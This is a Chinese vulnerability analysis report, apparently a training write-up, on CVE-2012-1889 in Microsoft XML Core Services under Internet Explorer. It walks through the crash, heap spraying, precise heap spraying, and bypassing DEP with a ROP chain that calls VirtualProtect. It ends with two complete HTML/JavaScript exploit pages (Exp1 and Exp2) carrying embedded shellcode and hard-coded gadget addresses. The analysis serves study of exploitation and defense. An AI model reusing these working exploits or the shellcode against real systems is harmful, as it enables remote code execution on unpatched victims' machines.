CVE-2012-1889漏洞分析报告

暴雷漏洞(CVE-2012-1889)分析报告

软件名称Microsoft Internet Explorer 6.0/8.0

组件版本:XML 3.0/4.0/5.0/6.0

漏洞模块:msxml3.dll

模块版本:8.90.1101.0

编译日期:2008-04-14

操作系统:Windows XP/2003/7/8

漏洞编号:CVE-2012-1889

危害等级:高危

漏洞类型:缓冲区溢出

威胁类型:远程

 

2019年07月10日

目录

1.    软件简介

2.    漏洞成因

3.    利用过程

4.    Exp

5.    结语

6.    参考资料

 

  1. 软件简介

Microsoft XML Core Services (MSXML)是一组服务,可用JScript、VBScript、Microsoft开发工具编写的应用构建基于XML的Windows-native应用。

  1. 漏洞成因

Microsoft XML Core Services 3.0、4.0、5.0和6.0版本中存在漏洞,该漏洞源于访问未初始化内存位置。远程攻击者可利用该漏洞借助特制的web站点,执行任意代码或导致拒绝服务(内存破坏)。

该漏洞产生于msxml3.dll模块中,msxml3.dll是微软的一个SAX2 帮助程序类。主要用途包括:XSL 转换 (XSLT) 和 XML 路径语言 (XPath) 的完全实现、对 XML (SAX2) 实现的简单 API 的修改,包括与万维网联合会 (W3C) 标准和 OASIS 测试套件保持更高一致性。

以下为网络上搜集到的Poc1

以下为ie浏览器运行Poc1后的汇编指令

异常发生在指令1处,此时指令从ecx+18h(5F5EC6A3)的地址处取出内容,并作为函数地址执行,但地址5F5EC6A3内存不具有可读权限,导致程序执行失败。

根据分析,出错指令中ecx寄存器的值取决于指令2中eax的值,后者的值取决于指令1中程序栈中的值,由此推断,程序的异常与栈中存在数据错误有关。

以下为网络上搜集到的Poc2

在该Poc中,javascript代码在代码1处会构造超长的字符串,并将字符串在代码2处设置为图片对象路径,最后调用definition方法定义当前文本对象obj15PB。

以下为ie浏览器运行Poc2后的汇编指令

异常发生在指令2中,原因在于指令2试图从地址为0x0C0C0C0C的内存中取内容,由此引发了数据访问权限异常,根据上文可知,指令2中eax寄存器的值来源于栈中,说明此时栈中的数据内容为0x0C0C0C0C,而该值正好是Poc2中被构造的畸形数据的一部分,说明通过Poc2中的操作,原本作为图片对象路径的畸形数据在栈中产生溢出,被溢出的数据参与程序指令的执行,从而产生程序执行错误,至于畸形数据在栈上出现并溢出的具体流程,因为涉及到javascript虚拟机生成的汇编指令,分析难度超出分析者水平,故暂时不做讨论。

根据以上两个poc,我们发现存在方法可以将指定寄存器的值修改为0x0C0C0C0C,并且该寄存器与之后执行的call指令存在一定关系,故存在使用堆喷射的方法进行漏洞利用的可能。

  1. 利用过程

Win xp+IE6下漏洞利用:

 

堆喷射(Heap Spray):

Heap Spray技术在Exploit中的利用开始于2001年,针对浏览器的堆喷射一般通过JavaScript执行,通过JavaScript申请大段的堆内存,再通过漏洞控制EIP,跳到堆中可预测的地址处执行shellcode。

堆喷射的底层原理在于javascript中所有的字符串通过堆保存,并且堆空间的增长是从低地址到高地址方向进行的,如果使用堆空间保存字符串数组,并且在该字符串数组中保存字符串,就会导致字符串在堆中从低地址到高地址依次占据内存空间,当该字符串足够长时,就会超出堆空间预先设定的大小,淹没更高地址的堆空间,造成堆溢出。实际应用中,经常通过构造长度为200MB的字符串并保存在堆中,从而淹没0x0C0C0C0C地址处的内存空间(200MB字节经换算等于0x0C80000字节,超过0x0C0C0C0C)。

由poc2中的代码可知,通过在javascript代码的图片元素中构造畸形图片路径,可以在漏洞触发时将栈空间中的内容修改为0x0C0C0C0C ,继续分析汇编,发现指令在地址0x0C0C0C0C位置上取内容,并以取到的内容+0x18为地址,以该地址处对应的内容作为指令地址执行指令。

在上文的基础上,如果在堆喷过程中使用0x0C0C0C0C作为超长字符串的内容,就可以将堆空间中以0x0C0C0C0C作为首地址的大量内存的内容修改为0x0C0C0C0C,则触发漏洞的指令在地址0x0C0C0C0C取内容会得到0x0C0C0C0C,之后以内存地址0x0C0C0C24(即0x0C0C0C0C+0x18)中保存的数据作为指令地址执行指令,此时由于堆喷导致0x0C0C0C24中的数据也为0x0C0C0C0C,所以cpu会从0x0C0C0C0C地址处开始执行指令,由于堆喷射已经将0x0C0C0C0C为首地址的内存空间全部修改为0x0C0C0C0C,而0x0C0C0C0C解释为汇编指令等同于OR AL,0x0C0C,所以CPU会一直执行OR AL,0x0C0C指令,直到遇到其他堆空间中的数据并当作指令执行,造成错误。

如果在上文中进行堆喷的超长字符串末尾加上payload,则cpu执行完成大量OR AL,0x0C0C指令之后会将payload执行,完成攻击行为,此时OR AL,0x0C0C指令不会对payload的执行造成干扰,只会将程序执行流引入到payload中,所以OR AL,0x0C0C也称为滑板指令,其作用与指令nop相同。(之所以不使用nop作为本次攻击的滑板指令是因为nop指令对应的十六进制数据为0x90,如果将其作为堆喷射的内容,就需要将0x90数据淹没内存地址0x90909090,淹没该地址的需要申请更多的堆空间内存,故不使用该方案)

 

分块喷射:

在javascript中因为多次申请的堆空间可能是不连续的(与系统使用链表管理堆空间有关),所以喷射形成的数据块之间可能存在其他程序仍未释放的堆空间,如果仅仅喷射滑板指令并在尾部加上payload,可能会导致cpu执行指令时将其他程序在堆空间中的数据当作代码执行,所以需要分块喷射,每个数据块由滑板指令和payload组成,一次申请一个数据块大小的堆空间(单次申请的堆在虚拟内存中一定是连续的),只要命中了一个数据块中的滑板指令,就可以将指令的执行顺序引导到payload中。(如果命中数据块中payload的中间部分,会导致程序执行错误,但是此中情况概率较小,如果发生可以通过修改数据块大小解决)

漏洞利用效果

具体漏洞利用代码见Exp1

 

Win xp+IE8下漏洞利用:

Ie8浏览器开启了数据执行保护(DEP),为我们的漏洞利用带来了更大的挑战。

 

DEP:

DEP 保护是缓冲区溢出攻击出现后,出现的一种防护机制, 它的核心思想就是将内存分块后,设置不同的保护标志, 令表示代码的区块拥有执行权限,而保存数据的区块仅有 读写权限,进而控制数据区域内的shellcode无法执行。

DEP的实现分为两种,一种为软件实现,是由各个操作系统 编译过程中引入的,在微软中叫SafeSEH。 另一种为硬件实现,由英特尔这种CPU硬件生产厂商固化到硬件中的,也称作NX保护机制。

由于DEP的存在,导致之前在堆空间0x0C0C0C0C地址上执行指令的操作无法实现,如果需要实现漏洞利用,需要需要设法绕过DEP机制,

 

DEP的绕过:

绕过DEP需要用到Ret2Libc(即Return to lib)技术, 即在程序栈中填充大量系统代码领空的地址,当程序以该地址作为函数地址执行或作为函数返回地址返回时,程序执行流程会从原程序代码领空跳转到系统代码领空,系统代码领空的地址所对应的指令的特征为总是以ret指令作为指令序列的结尾,从而当程序执行流执行完系统代码之后,会从栈顶取出函数的返回地址,继续执行该地址上的指令。

如果在系统代码领空找到此类指令,并将指令地址依次保存在栈中,程序就会依次执行系统代码领空的指令,通过规定指令执行的顺序,从而完成攻击操作,由完成攻击操作的指令序列也被称为Ret2Libc链。

为了方便的从系统代码领空取得符合要求的指令,可以使用windbg的mona插件,常用指令如下

1、查看0c0c0c0c地址处的UserPte地址:

!heap -p -a 0c0c0c0c

2、查看当前系统模块信息

!py mona mod

3、在指定模块中查找特定指令序列:

!py mona jmp -r esp -m "kernel32.dll"

!py mona find –s "\x5d\xc3"–mmsvcrt.dll

通过Ret2Libc技术,我们可以绕过DEP执行指令,进一步可以调用ZwSetInfomationProcess、VirtualProtect、VitualAlloc 一类的函数从而关闭 DEP。

 

总结上文所讨论的,我们通过在HTLM页面中使用javascript代码构造畸形数据,将畸形数据填充到ie浏览器的栈空间,最终造成程序指令从指定地址中取出数据,并以该数据作为函数地址,执行该地址上的指令,在之前漏洞利用中,最终指令1会从地址0x0C0C0C0C处取出内容作为函数地址,并在该函数地址上执行指令。

如果需要成功执行Ret2Libc链,先决条件就是指令1从0x0C0C0C0C地址处取出的函数地址是Ret2Libc链中第一个指令的地址,这就要求在堆喷射的过程中,需要将指定内存地址处的值修改为指定内容,需要使用精准堆喷射实现。

 

精准堆喷射:

精准堆喷射的目的就是将指定内存地址处的值修改为指定内容,底层实现原理如下:

Windows使用内存分页机制管理内存,内存操作的最小单位为一个内存分页,一个内存分页4kb(0x1000)大小(64位系统中最大的内存分页为1G),则申请的一段堆空间中,堆空间首地址一定是0x1000的倍数,如果知道一个内存地址相对于其所在内存分页首地址的偏移,那么就可以构造一个内存分页大小的内存块,并在距离内存块首地址指定偏移的位置设置关键数据,然后以该内存块作为的最小单元进行堆喷,从而保证被内存堆喷射覆盖的指定内存地址处存在关键数据。

如果要精确修改地址0x0C0C0C0C中的内容,就需要计算该地址距离堆空间内存分页首地址的距离,但是由于堆在内存中存在自己的特定结构,所以堆空间内存分页首地址之后的部分内存需要保存堆的头部信息,而用户真正可以使用的堆空间是堆头部之后的内存空间。

根据上图可知,假设一个内存分页大小为2,则该堆空间占据四个内存分页大小的内存,由于堆头部的存在,用户实际可以使用的堆空间从地址1开始,0到1的内存空间用于存放堆头部信息。

此时我们填充的数据是从地址1开始的,如果需要将内存地址2.8上的内容覆盖为指定内容应该如何做呢?为了计算方便,我们假设地址1才是内存分页的首地址,从地址1开始构建新的内存分页如下图所示:

    左边的内存空间以地址1作为内存分页起始地址,该内存空间中不存在堆的头部信息,内存空间所有内容均可由自己控制,如果需要将内存地址2.8上的内容覆盖为指定内容,就可以在内存分页首地址1向下偏移1.8(2.8-1)的位置设置该值,然后以地址1作为内存分页首地址的内存分页为单位,进行堆喷射。

    同理,如果需要将内存地址4.2上的内容覆盖为指定内容

    将关键地址减去可以自由控制的内存空间的首地址,即4.2-1=3.2,而又因为此时关键位置相对于内存分页首地址的偏移大于一个内存分页大小,为计算该关键位置在其所在内存分页中的偏移,需要将3.2进行取余,即3.2%2=1.2,由此计算出如果需要将4.2地址处覆盖为指定内容,需要使用以地址3作为内存分页首地址的内存分页为单位进行堆喷,并且在距离内存分页首地址向下偏移1.2的位置设置所需数据。

综上可以采用以下算法计算一个内存分页中关键数据的偏移:

 

(关键数据的内存地址-用户实际可以使用的内存首地址(UserPtr))%一个内存分页的大小

 

    在本次漏洞利用过程中,因为javascript中字符串是Unicode形式的,所以需要除以2,才能将计算结果用于规定字符串长度,该字符会用于填充内存分页首地址到指定偏移的内存空间,在其后就是精心构造的Ret2Libc链。

    整体来说用于作为堆喷单位的数据块其结构如下图:

其中首尾的Padding部分用于占位,主要作用是保证整个数据块大小为0x1000,ROP Chain即为Ret2Libc链,而只执行恶意功能的ShellCode紧跟其后。

本次漏洞利用过程中,可以通过mona插件查询地址0x0C0C0C0C对应的UserPtr

查看0c0c0c0c地址处的UserPtr

!heap -p -a 0c0c0c0c

从而可以计算对应内存分页中的偏移为0x5f6。

    在实际应用中0x40000个此类数据块(大小为256kb)被作为一个整体进行堆喷射,这样只需要将800个这样的数据块喷射到堆中,就可以形成202MB的数据,从而淹没地址0x0C0C0C0C。

在构造0x40000大小的数据块之后,根据网上资料显示,要为内存块保留0x2的块起始和0x21的块结尾的内存空间,所以需要截取0x40000大小的数据块的从0x2到0x39979大小的数据用以堆喷,具体原因分析者仍不清楚,暂时猜测与内存堆块的结构有关。

注意这里使用substr的方法为字符串分配内存空间,是因为IE8.0对堆喷射做了一定的限制,采用直接字符串赋值进行堆喷的方法会被禁止。

    精准堆喷射存在一定概率失败,不能将指定数据喷射到指定内存中,这种情况被称之为堆风水。不同的操作系统在不同浏览器进行堆喷射时,将块起始地址、块结尾、块大小按照指定方式进行设置成功率最高,该现象具体原因分析者仍不清楚。

 

Ret2Libc链的构造与绕过DEP

    计算出Ret2Libc链在内存块中的偏移后,就可以通过Ret2Libc链调用特定函数,关闭或绕过DEP,这里主要通过Ret2Libc链调用VirtualProtect函数,将恶意指令所在的堆空间设置为具有执行权限。

    可以通过mona获取指定函数在内存中的地址或指定内存地址的属性:

    使用命令"u VirtualProtect"搜索kernel32!VirtualProtect地址

该命令也可以指定模块u kernel32!VirtualProtect

可以使用 x kernel32!Virtual*进行模糊匹配查找

!address指令可以用于查看指定内存的属性

构造Ret2Libc链的时候,因为我们之只能精确控制堆空间中的数据,无法精确控制栈空间中的数据,所以先要将堆空间切换为栈空间,即如果使用0x0C0C0C0C填充栈空间,则指令1会在0x0C0C0C24的地址上取内容,作为函数地址执行指令,此时如果在0c0c0c24地址上保存XCHG EAX ESP RET指令的地址,就会执行这两条指令,执行之后,地址0x0C0C0C0C会变成栈顶(因为此时eax在指令3中被赋值为0x0C0C0C0C),RET指令会取0x0C0C0C0C地址中的内容赋值给eip作为函数地址执行。

此时0x0C0C0C0C地址中存放什么内容将至关重要,因为之前指令3中 ebp-14h取内容得到的是0x0C0C0C0C,所以eax为0x0C0C0C0C,而[eax]需要从0x0C0C0C0C中取内容赋给ecx,只有当0x0C0C0C0C地址中保存着0x0C0C0C0C,在指令1中才会从0x0C0C0C0C +18h即0x0C0C0C24中取函数地址,并执行XCHG eax,esp ret ,所以此时0x0C0C0C0C地址中必须保存0x0C0C0C0C,

但是若0x0C0C0C0C地址中保存0x0C0C0C0C,会导致XCHG eax,esp ret执行完之后,将0x0C0C0C0C作为函数地址执行指令,此时DEP会发挥作用,使得程序崩溃,所以这是个死循环。

 

通过修改栈溢出的数据解决死循环

如果在构造畸形路径进行栈溢出时不使用0x0C0C0C0C进行栈溢出,而是用0x0C0C0C08进行栈溢出,会发生什么?

指令3中从ebp-14h中取内容得到0x0C0C0C08,即eax等于0x0C0C0C08,eax在0x0C0C0C08地址处取内容,将取到的值赋值给ecx,此时0x0C0C0C08地址所代表的堆空间已经被精准堆喷射为覆盖为滑板指令和shellcode,且因为0x0C0C0C08与0x0C0C0C0C距离较近,所以0x0C0C0C08中的数据也为0x0C0C0C0C,则ecx为0x0C0C0C0C。

指令1call dword ptr [ecx+18h]会从0x0C0C0C24中取内容,将该内容作为函数地址并执行指令,根据上一次的设置,0x0C0C0C24地址中存放的是XCHG eax,esp ret指令的地址,此时eax为0x0C0C0C08,则0x0C0C0C08会成为新的栈顶,当ret指令执行之后,会将地址0x0C0C0C08中保存的内容0x0C0C0C0C作为函数返回地址执行指令,此时和之前一样,DEP发挥作用,使得程序崩溃。

 

通过利用其他汇编指令解决死循环

在上一种解决方法的基础上,无法在call dword ptr[ecx+18h]解决死循环问题,所以将0x0C0C0C24地址上的内容替换为ret指令所在的内存空间的地址,当执行

call dword ptr[ecx+18h]指令时,先将该指令下一条指令的地址入栈,之后跳转执行ret指令,即将栈顶的返回地址重新赋值给eip,从而程序继续在用户代码领空执行指令

mov dword ptr[ebp+0xch],eax,并继续往下执行,直到执行到call dword ptr [eax+8]。

指令call dword ptr[eax+8]中,eax来源于esi取内容,而esi的值来源于之前eax的赋值,当时eax的值为0x0C0C0C08,则esi为0x0C0C0C08,则当前mov eax,dword ptr[esi]使得eax为0C0C0C0C(即 [0C0C0C08]),故call dword ptr [eax+8]就是从0x0C0C0C14中取内容,并将其作为函数地址进行调用,此时可以将0x0C0C0C14地址中的内容修改为XCHG eax,esp ret指令的地址,该指令将esp赋值为0x0C0C0C0C,则新的栈顶为0x0C0C0C0C,完成了将堆空间转换为栈空间的操作,此时可以将0x0C0C0C0C地址处的内容修改为ret指令所在的内存空间的地址,XCHG eax,esp ret指令执行完之后,将栈顶 0x0C0C0C0C中的ret指令的地址取出,赋值给eip,并将栈顶向下降低四个字节,eip被赋值后会执行ret指令,再次取出此时栈顶中的内容作为返回地址并执行指令,由此,程序执行流程便由此时栈空间中的Ret2Libc链决定。

需要注意的是此时以0x0C0C0C0C为首地址的内存空间中,有部分内存因为需要完成之前的操作,其值被设置为固定,不能更改,其中包括

 

地址                内容                                      使用场景

0C0C0C0C    ret指令地址                           XCHG eax,esp ret指令执行之后的返回地址

0C0C0C14    XCHG eax,esp ret指令地址  call dword ptr [eax+8]指令触发,

0C0C0C24    ret指令地址                            call dword ptr[ecx+18h]

 

则当程序执行流程从0x0C0C0C0C对应的ret指令返回之后,为了不影响程序执行结果,内存分布应该为:

地址                 内容                                            使用场景

0C0C0C0C     ret指令地址                                XCHG eax,esp ret指令执行之后的返回地址

0C0C0C10      pop ebp ret指令地址                 指令主要用于将栈顶下移四位,将0C0C0C18设置为栈顶, 从而跳过0C0C0C14,不让XCHG eax,esp                                                                                                   ret指令再次执行 该处也可以为return 4指令的地址

0C0C0C14      XCHG eax,esp ret指令地址      call dword ptr [eax+8]指令触发

0C0C0C18      ret指令地址

0C0C0C1C     ret指令地址

0C0C0C20      ret指令地址                                以上三条指令必须是ret指令,因为0C0C0C24处必须是ret指令,所以ret2libc链不能从0C0C0C18开                                                                                                     始,否则会 使0C0C0C24中的内容被改变

0C0C0C24      ret指令地址                                call dword ptr[ecx+18h]会调用这里

0C0C0C28      ret2libc链                                   使用ret2libc链调用VirtualProtect,绕过edp

 

ret2libc链的具体结构:

 

地址               内容                                      用途

0C0C0C28   VritualProtect函数的地址     使payload所在内存空间可执行

0C0C0C2c   payload的首地址                   作为VritualProtect函数返回地址,执行恶意代码

0C0C0C30   要修改内存空间首地址           VritualProtect参数,即为payload的首地址

0C0C0C34   要修改内存空间的大小           VritualProtect参数,0x1000即可

0C0C0C38   目的内存属性                                 0x40 可读可写可执行

0C0C0C3c   原始内存属性的保存地址       是一个可写的地址,只要不影响程序执行即可

0C0C0C40   payload的起始地址

 

payload的首地址如何确定?

如果payload紧跟在ret2libc链后面,根据该位置与0c0c0c0c地址的偏移,可以直接算出payload的首地址 即0C0C0C3c+4=0C0C0C40。

原始内存属性的保存地址如何确定?

只要是一个可写地址即可,可以在程序正常执行的过程中获取esp的值,即获取一个栈中的地址,将原始内存属性写入栈中。

 

通过以上分析,我们可以完成ret2libc链的构造,完成ie8浏览器中DEP的绕过,成功利用漏洞。

    漏洞利用代码见Exp2

 

Win7+IE8下漏洞利用:

 

ASLR:

地址空间布局随机化(Address space layout randomization,ASLR)是微软从Windows Vista开始加入的一种安全保护技术,它通过随机化几乎是所有模块的加载地址,使得预测指定地址或者使用指定地址的代码变成了一件十分困难的事,在本次漏洞利用过程中,因为需要绕过DEP,所以需要构造Ret2Libc链,而其前提就是可以获取特定指令序列的在程序进程中的地址,如果程序的加载基址随机化,就无法以固定的地址寻址特定指令序列,进而无法构成Ret2Libc链。

 

绕过ASLR的方法:

  1. 找到程序进程中没有开启随即基址的模块,比如java的运行环境、FlashPlayer,使用此类模块中的序列构造Ret2Libc链。
  2. 使用堆喷射,可以控制任意地址中的任意内容,不受随机基址影响。
  3. 利用操作系统中的固定点,3环中部分函数的地址是不变的,通过分析windows源码,有的函数定义的时候是个宏,说明其地址是固定的,如果知道该地址,可以进行利用。
  4. Intel的cpu使用小端保存数据,高位数据保存在内存高地址,低位数据保存在内存低地址,随机基址只能将内存地址中的基址随机化,无法随机相对虚拟地址rva,通过淹没一个地址的低十六位,即只修改rva,可以绕过随机基址,从而访问到指定内存位置。

根据mona的显示,在Win7+IE8运行环境下,所有系统原生模块均开启了随机基址,无法通过第一种方式绕过随机基址(除非给ie浏览器安装特定插件,此类插件中存在未开启随机基址的模块)。

 

对于第二种绕过随机基址方式,因为win7+ie8环境下默认开启了DEP,所以无法在堆空间执行指令,如果需要关闭堆空间,前提就是构造Ret2Libc链,而随机基址使得该前提无法达成,故该方法失效。

对于第三种方法,分析者仍不清楚此类函数的具体内容,故无法使用该方法。

对于第四种方法,其方法奏效的前提是特定的函数地址的基址需要由程序自身根据当前的实际加载基址进行填充,本漏洞利用过程中所执行的代码均位于堆空间,程序自身无法影响该部分代码的内容,故此方法失效。

综上,在Win7+IE8环境下,如果需要实现绕过ASLR,需要浏览器本身安装特定插件,此类插件中存在未开启随机基址的模块,并通过mona查询该模块中的特定指令序列的地址,以此构造Ret2Libc链,主要思路与之前xp+ie8的漏洞利用相似,故不再赘述。

  1. Exp

Exp1

<html>
<head>
<title>CVE 2012-1889 POC Red_Magic_ver.7</title>
</head>
<body>
<!-- object 标签用于创建一个对象,可能是视频,音频等,-->
<!-- 创建对象clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4即为微软XML服务3.0-->
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
<script>
// 需要执行的shellcode
var cShellCode = unescape("\ue8fc\u0082\u0000\u8960\u31e5\u64c0\u508b\u8b30" + 
"\u0c52\u528b\u8b14\u2872\ub70f\u264a\uff31" + 
"\u3cac\u7c61\u2c02\uc120\u0dcf\uc701\uf2e2\u5752" + 
"\u528b\u8b10\u3c4a\u4c8b\u7811\u48e3\ud101" + 
"\u8b51\u2059\ud301\u498b\ue318\u493a\u348b\u018B" + 
"\u31d6\uacff\ucfc1\u010d\u38c7\u75e0\u03f6" + 
"\uf87d\u7d3b\u7524\u58e4\u588b\u0124\u66d3\u0c8b" + 
"\u8b4b\u1c58\ud301\u048b\u018b\u89d0\u2444" + 
"\u5b24\u615b\u5a59\uff51\u5fe0\u5a5f\u128b\u8deb" + 
"\u6a5d\u8d01\ub285\u0000\u5000\u3168\u6f8b" + 
"\uff87\ubbd5\ub5f0\u56a2\ua668\ubd95\uff9d\u3cd5" + 
"\u7c06\u800a\ue0fb\u0575\u47bb\u1372\u6a6f" + 
"\u5300\ud5ff\u6163\u636c\u652e\u6578\u0000"); 
 
// 计算一个数据块(大小1MB)中滑板指令的长度
//length标识字符串中unicode字符的个数,所以这里字符串长度单位是一个unicode字符的长度即2字节
var nSlideSize = 1024*1024/2; // 一个滑板指令区的大小(1MB)
var nMlcHadSize = 32/2; // 堆头部大小
var nStrLenSize = 4/2; // 堆长度信息大小
var nTerminatorSize = 2/2; // 堆结尾符号大小
var nScSize = cShellCode.length; // shellcode 大小
var nFillSize = nSlideSize - nMlcHadSize - nStrLenSize - nScSize - nTerminatorSize; 
 
//制作一块滑板指令
var cFillData = unescape("\u0C0C\u0C0C"); // 滑板指令 0C0C OR AL,0C0C
while (cFillData.length <= nSlideSize) //cFillData.length的初始值为2,即"\u0C0C\u0C0C"是两个unicode字符
cFillData += cFillData; //通过循环拼接,得到一个1MB大小的字符串
cFillData = cFillData.substring(0, nFillSize); //截取指定长度的滑板指令,只保留nFillSize个字符个数的滑板指令长度
 
//堆喷射,填充200个字节的堆空间,使0x0c0c0c0c地址被淹没,当在该地址处执行代码时,大概率先执行滑板指令,然后执行shellcode
var cSlideData = new Array(); // 申请堆空间
for (var i = 0; i < 200; ++i) 
{ 
cSlideData[i] = cFillData + cShellCode;//将滑板指令与shellcode拼接,得到1MB数据块用于填充堆空间
} 
 
//与poc2中相同,触发CVE 2012-1889漏洞,使eip被修改为0x0c0c0c0c
var obj15PB = document.getElementById('15PB').object 
var srclmgPath = unescape("\u0C0C\u0C0C"); 
while (srclmgPath.length < 0x1000) 
srclmgPath += srclmgPath; 
srclmgPath = "\\\\15PB" + srclmgPath; 
srclmgPath = srclmgPath.substr(0, 0x1000 - 10); 
var emtPic = document.createElement("img"); 
emtPic.src = srclmgPath; 
emtPic.nameProp; 
obj15PB.definition(0); 
</script>
</body>
</html>

 

 

 

Exp2

<html>
[/align][/align][align=left] <head>
<title>CVE 2012-1889 POC Red_Magic_ver.7</title>
</head>
<body>
<object classid = "clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
<script>
// 1.生成Padding
var cPadding = unescape("\u0C0C\u0C0C"); 
while(cPadding.length < 0x1000) 
cPadding += cPadding; 
cPadding = cPadding.substring(0, 0x5F6); 
 
var cRet2Libc = unescape("\u2091\u77be" + // RET
"\ubb7c\u77be" + // POP EBP; RET
"\ua891\u77c0" + // XCHG EAX,ESP
"\u2091\u77be" + // RET
"\u2091\u77be" + // RET
"\u2091\u77be" + // RET
"\u2091\u77be" + // RET
 
"\u1a61\u7c80" + // VirtualProtectEx
"\u0c44\u0c0c" + // Shellcode address
"\uffff\uffff" + //表示当前线程
"\u0c44\u0c0c" + // lpAddr
"\u1000\u0000" + // dwSize
"\u0040\u0000" + // flNewProtect
"\uffcc\u050a"); // lpfOldProtect 
// 3.准备好Payload
var cPayload = unescape("\ue8fc\u0082\u0000\u8960\u31e5\u64c0\u508b\u8b30" + 
"\u0c52\u528b\u8b14\u2872\ub70f\u264a\uff31" + 
"\u3cac\u7c61\u2c02\uc120\u0dcf\uc701\uf2e2\u5752" + 
"\u528b\u8b10\u3c4a\u4c8b\u7811\u48e3\ud101" + 
"\u8b51\u2059\ud301\u498b\ue318\u493a\u348b\u018B" + 
"\u31d6\uacff\ucfc1\u010d\u38c7\u75e0\u03f6" + 
"\uf87d\u7d3b\u7524\u58e4\u588b\u0124\u66d3\u0c8b" + 
"\u8b4b\u1c58\ud301\u048b\u018b\u89d0\u2444" + 
"\u5b24\u615b\u5a59\uff51\u5fe0\u5a5f\u128b\u8deb" + 
"\u6a5d\u8d01\ub285\u0000\u5000\u3168\u6f8b" + 
"\uff87\ubbd5\ub5f0\u56a2\ua668\ubd95\uff9d\u3cd5" + 
"\u7c06\u800a\ue0fb\u0575\u47bb\u1372\u6a6f" + 
"\u5300\ud5ff\u6163\u636c\u652e\u6578\u0000"); 
 
// 4.准备好FillData
// 4.1 计算填充滑板指令的大小
var nSlideSize = 0x1000; // 一个滑板指令区的大小(1MB)
var nPadSize = cPadding.length; 
var nR2LSize = cRet2Libc.length; 
var nPaySize = cPayload.length; 
var nFillSize = nSlideSize - nPadSize - nR2LSize - nPaySize; 
 
// 4.2 制作好一块填充数据
var cFillData = unescape("\u0C0C\u0C0C"); // 滑板指令 0C0C OR AL,0C0C
while(cFillData.length <= nSlideSize) 
cFillData += cFillData; 
cFillData = cFillData.substring(0, nFillSize); // 应该是将cFillData内nFillSize个字符填为0
 
// 5. 构建堆喷数据块
//这样一个数据块有256KB,是64*4KB,相当于64个内存分页
var nBlockSize = 0x40000; // 256KB
var cBlock = cPadding + cRet2Libc + cPayload + cFillData; 
while(cBlock.length < nBlockSize) 
cBlock += cBlock; 
//在XP SP3+IE8环境中,一个内存块大小为0x40000,并且有0x02的块起始与0x21的块结尾,
//故构造数据块时要在头尾预留出这两部分的大小。
cBlock = cBlock.substring(2, nBlockSize - 0x21); 
 
// 6. 填充200M的内存区域(申请800块256KB大小的滑板数据区),试图覆盖0x0C0C0C0C
//区域,每块滑板数据均由滑板数据+Shellcode 组成,这样只要任意一块滑板数据
//正好落在0x0C0C0C0C处,大量无用的"OR AL,0C"就会将执行流程引到滑板数据区
//后面的Shellcode处,进而执行Shellcode
var cSlideData = new Array(); 
for(var i=0; i<800; ++i) 
cSlideData[i] = cBlock.substr(0, cBlock.length); 
 
// 7.触发CVE 2012-1889漏洞
// 7.1获取名为15PB的XML对象,并将其保存到名为obj15PB实例中
var obj15PB = document.getElementById('15PB').object; 
 
// 7.2构建一个长度为0x1000 - 10 = 8182,起始内容为"\\15PB"字节的数据
var srclmgPath = unescape("\u0C0C\u0C08"); // 注意这里填0c08
while(srclmgPath.length < 0x1000) 
srclmgPath += srclmgPath; 
srclmgPath = "\\\\15PB" + srclmgPath; 
srclmgPath = srclmgPath.substr(0, 0x1000 - 10); 
 
// 7.3 创建一个图片元素,并将图片源路径设为srclmgPath,并返回当前图片文件名
var emtPic = document.createElement("img"); 
emtPic.src = srclmgPath; 
emtPic.nameProp; 
 
// 4.4定义对象obj15PB(触发溢出)
obj15PB.definition(0); 
</script>
</body>
</html>

 

  1. 结语    

通过本次漏洞利用分析,加深了分析者对漏洞利用技术的理解与运用,但同时也使人认识到漏洞的分析和利用涉及着广泛的知识维度,同时要求分析者对底层原理、汇编语言等知识拥有深刻理解和灵活运用,对分析者个人的知识水平提出了更高的要求,促使分析者提升自身能力,加强知识深度与广度,最后感谢15PB的韦老师对本次分析提供的辅导与支持。

  1. 参考资料

[1] 任晓辉.《15PB信息安全教育:shellcode编程艺术》.2017-06-15.
[2] 北海松果.《暴雷漏洞(CVE-2012-1889)个人漏洞分析报告》.看雪论坛.2017-07-15。地址:https://bbs.pediy.com/thread-219222.htm
[3] RedOrange.《暴雷漏洞 (CVE-2012-1889)个人漏洞分析报告》.看雪论坛.2017-02-27。地址:https://bbs.pediy.com/thread-215974.htm

[4] seviezhou. 《32位下的堆喷射技术》.安全客.2017-10-20。

地址:https://www.anquanke.com/post/id/87048

[5] 李祥.《MS12-043(CVE-2012-1889)漏洞分析报告》.csdn. 2017-03-02。

地址:https://blog.csdn.net/u014078117/article/details/59482947

[6]来杯柠檬红茶.《CVE-2012-1889 Win7 通过GUID加载dll库绕过ASLR+DEP》.看雪论坛.2018-11-25。地址:https://bbs.pediy.com/thread-247975.htm

[7] Payload_82.《暴雷漏洞 (CVE-2012-1889)个人漏洞分析报告》.吾爱破解论坛. 2018-4-24。地址:https://www.52pojie.cn/thread-730324-1-1.html.

posted on 2019-09-17 08:27  sdfsdfdvsd  阅读(1185)  评论(0编辑  收藏  举报

导航